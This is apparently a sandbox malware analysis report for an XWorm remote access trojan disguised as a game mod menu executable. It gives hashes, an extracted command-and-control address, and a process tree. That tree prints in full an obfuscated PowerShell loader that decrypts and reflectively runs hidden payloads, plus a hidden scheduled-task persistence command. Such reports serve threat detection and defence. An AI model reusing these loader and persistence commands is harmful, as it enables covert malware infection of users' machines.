xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
131s
max time network
148s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
14/05/2024, 11:22

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4408-274-0x0000000009D90000-0x0000000009D9E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4408	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3076	powershell.exe
1384	powershell.exe
4408	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3076	powershell.exe
3076	powershell.exe
3076	powershell.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
4408	powershell.exe
4408	powershell.exe
4408	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3076	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeIncreaseQuotaPrivilege	1384	powershell.exe
Token: SeSecurityPrivilege	1384	powershell.exe
Token: SeTakeOwnershipPrivilege	1384	powershell.exe
Token: SeLoadDriverPrivilege	1384	powershell.exe
Token: SeSystemProfilePrivilege	1384	powershell.exe
Token: SeSystemtimePrivilege	1384	powershell.exe
Token: SeProfSingleProcessPrivilege	1384	powershell.exe
Token: SeIncBasePriorityPrivilege	1384	powershell.exe
Token: SeCreatePagefilePrivilege	1384	powershell.exe
Token: SeBackupPrivilege	1384	powershell.exe
Token: SeRestorePrivilege	1384	powershell.exe
Token: SeShutdownPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeSystemEnvironmentPrivilege	1384	powershell.exe
Token: SeRemoteShutdownPrivilege	1384	powershell.exe
Token: SeUndockPrivilege	1384	powershell.exe
Token: SeManageVolumePrivilege	1384	powershell.exe
Token: 33	1384	powershell.exe
Token: 34	1384	powershell.exe
Token: 35	1384	powershell.exe
Token: 36	1384	powershell.exe
Token: SeIncreaseQuotaPrivilege	1384	powershell.exe
Token: SeSecurityPrivilege	1384	powershell.exe
Token: SeTakeOwnershipPrivilege	1384	powershell.exe
Token: SeLoadDriverPrivilege	1384	powershell.exe
Token: SeSystemProfilePrivilege	1384	powershell.exe
Token: SeSystemtimePrivilege	1384	powershell.exe
Token: SeProfSingleProcessPrivilege	1384	powershell.exe
Token: SeIncBasePriorityPrivilege	1384	powershell.exe
Token: SeCreatePagefilePrivilege	1384	powershell.exe
Token: SeBackupPrivilege	1384	powershell.exe
Token: SeRestorePrivilege	1384	powershell.exe
Token: SeShutdownPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeSystemEnvironmentPrivilege	1384	powershell.exe
Token: SeRemoteShutdownPrivilege	1384	powershell.exe
Token: SeUndockPrivilege	1384	powershell.exe
Token: SeManageVolumePrivilege	1384	powershell.exe
Token: 33	1384	powershell.exe
Token: 34	1384	powershell.exe
Token: 35	1384	powershell.exe
Token: 36	1384	powershell.exe
Token: SeIncreaseQuotaPrivilege	1384	powershell.exe
Token: SeSecurityPrivilege	1384	powershell.exe
Token: SeTakeOwnershipPrivilege	1384	powershell.exe
Token: SeLoadDriverPrivilege	1384	powershell.exe
Token: SeSystemProfilePrivilege	1384	powershell.exe
Token: SeSystemtimePrivilege	1384	powershell.exe
Token: SeProfSingleProcessPrivilege	1384	powershell.exe
Token: SeIncBasePriorityPrivilege	1384	powershell.exe
Token: SeCreatePagefilePrivilege	1384	powershell.exe
Token: SeBackupPrivilege	1384	powershell.exe
Token: SeRestorePrivilege	1384	powershell.exe
Token: SeShutdownPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeSystemEnvironmentPrivilege	1384	powershell.exe
Token: SeRemoteShutdownPrivilege	1384	powershell.exe
Token: SeUndockPrivilege	1384	powershell.exe
Token: SeManageVolumePrivilege	1384	powershell.exe
Token: 33	1384	powershell.exe
Token: 34	1384	powershell.exe
Token: 35	1384	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 4104	2428	kiddionsmodmenu.exe	75
PID 2428 wrote to memory of 4104	2428	kiddionsmodmenu.exe	75
PID 2428 wrote to memory of 4104	2428	kiddionsmodmenu.exe	75
PID 4104 wrote to memory of 4700	4104	cmd.exe	78
PID 4104 wrote to memory of 4700	4104	cmd.exe	78
PID 4104 wrote to memory of 4700	4104	cmd.exe	78
PID 4104 wrote to memory of 3076	4104	cmd.exe	79
PID 4104 wrote to memory of 3076	4104	cmd.exe	79
PID 4104 wrote to memory of 3076	4104	cmd.exe	79
PID 3076 wrote to memory of 1384	3076	powershell.exe	80
PID 3076 wrote to memory of 1384	3076	powershell.exe	80
PID 3076 wrote to memory of 1384	3076	powershell.exe	80
PID 3076 wrote to memory of 3116	3076	powershell.exe	83
PID 3076 wrote to memory of 3116	3076	powershell.exe	83
PID 3076 wrote to memory of 3116	3076	powershell.exe	83
PID 3116 wrote to memory of 4180	3116	WScript.exe	84
PID 3116 wrote to memory of 4180	3116	WScript.exe	84
PID 3116 wrote to memory of 4180	3116	WScript.exe	84
PID 4180 wrote to memory of 2668	4180	cmd.exe	86
PID 4180 wrote to memory of 2668	4180	cmd.exe	86
PID 4180 wrote to memory of 2668	4180	cmd.exe	86
PID 4180 wrote to memory of 4408	4180	cmd.exe	87
PID 4180 wrote to memory of 4408	4180	cmd.exe	87
PID 4180 wrote to memory of 4408	4180	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS7F52.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS7F52.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4700
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3076
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_151_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_151.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1384
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_151.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3116
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_151.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4180
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_151.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2668
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
a8641a2f94483f12ba0cad0cf02a3bc7

SHA1
fae3e6835336154b90503431279eef6c52a289d2

SHA256
ce70f1a4578b12964dde1e1eef8cb1948847230bf3458dfd41f8e2c32c71c24d

SHA512
5c92772168461d15ef6ed7b5ab2103cb63acfb1540d2d56610bbdd4a3494e866e47a225f6c7a42fa31f9170495dcddfad24533711289a6c3bfa5857a376b3e62

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
2161f1402438f225bd77dd82d73a424c

SHA1
e5e6d283d03dcf6c6972d66fe8263a72a16bc1f3

SHA256
35b3f27176efb259d8e2892d13d19caaa1bdf89eb59246b41de1558b84e5fb86

SHA512
05abd8aa055a497d0c48c8dd0d6dd22a1a2b4255a71f2bcca6dca77d6f3df3b5cb8d097eeee7ac36ad8d64d6e723af644757bd71054c7c064f13981c6cde88f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS7F52.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zs335vls.qoe.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_151.vbs

Filesize
115B

MD5
77b6dc811eb48fe03cdea0d311295d2d

SHA1
509487825a53f42d25935d476bf9bf092ba80649

SHA256
72ac475736c165813efafaeb91454fef3a5edf4f7526c7003c603261bc78446e

SHA512
eb4dccd7641a01dafb3c430c81c97b04cfbbe5771a818716a371618174a3b4090dfa24f6208345435483e9433fe3266e067eb8105cb472fb5a100c16bfb37e15

Download Submit
memory/1384-112-0x0000000009850000-0x00000000098E4000-memory.dmp

Filesize
592KB

Download
memory/1384-111-0x00000000096B0000-0x0000000009755000-memory.dmp

Filesize
660KB

Download
memory/1384-104-0x0000000009530000-0x0000000009563000-memory.dmp

Filesize
204KB

Download
memory/1384-105-0x000000006EE80000-0x000000006EECB000-memory.dmp

Filesize
300KB

Download
memory/1384-106-0x0000000009510000-0x000000000952E000-memory.dmp

Filesize
120KB

Download
memory/3076-14-0x00000000072A0000-0x0000000007306000-memory.dmp

Filesize
408KB

Download
memory/3076-13-0x0000000007230000-0x0000000007296000-memory.dmp

Filesize
408KB

Download
memory/3076-18-0x0000000007E00000-0x0000000007E1C000-memory.dmp

Filesize
112KB

Download
memory/3076-38-0x00000000083E0000-0x000000000841C000-memory.dmp

Filesize
240KB

Download
memory/3076-69-0x0000000008E60000-0x0000000008ED6000-memory.dmp

Filesize
472KB

Download
memory/3076-75-0x0000000009A60000-0x0000000009A7A000-memory.dmp

Filesize
104KB

Download
memory/3076-74-0x000000000A370000-0x000000000A9E8000-memory.dmp

Filesize
6.5MB

Download
memory/3076-76-0x0000000009AA0000-0x0000000009AA8000-memory.dmp

Filesize
32KB

Download
memory/3076-77-0x0000000009AB0000-0x0000000009ACE000-memory.dmp

Filesize
120KB

Download
memory/3076-78-0x000000000A9F0000-0x000000000AEEE000-memory.dmp

Filesize
5.0MB

Download
memory/3076-15-0x0000000007A50000-0x0000000007DA0000-memory.dmp

Filesize
3.3MB

Download
memory/3076-19-0x0000000008050000-0x000000000809B000-memory.dmp

Filesize
300KB

Download
memory/3076-12-0x0000000007090000-0x00000000070B2000-memory.dmp

Filesize
136KB

Download
memory/3076-11-0x00000000722A0000-0x000000007298E000-memory.dmp

Filesize
6.9MB

Download
memory/3076-9-0x00000000722A0000-0x000000007298E000-memory.dmp

Filesize
6.9MB

Download
memory/3076-10-0x0000000007310000-0x0000000007938000-memory.dmp

Filesize
6.2MB

Download
memory/3076-8-0x0000000004990000-0x00000000049C6000-memory.dmp

Filesize
216KB

Download
memory/3076-5-0x00000000722AE000-0x00000000722AF000-memory.dmp

Filesize
4KB

Download
memory/3076-279-0x00000000722A0000-0x000000007298E000-memory.dmp

Filesize
6.9MB

Download
memory/4408-277-0x0000000009E60000-0x0000000009EFC000-memory.dmp

Filesize
624KB

Download
memory/4408-274-0x0000000009D90000-0x0000000009D9E000-memory.dmp

Filesize
56KB

Download
memory/4408-283-0x000000000A2F0000-0x000000000A382000-memory.dmp

Filesize
584KB

Download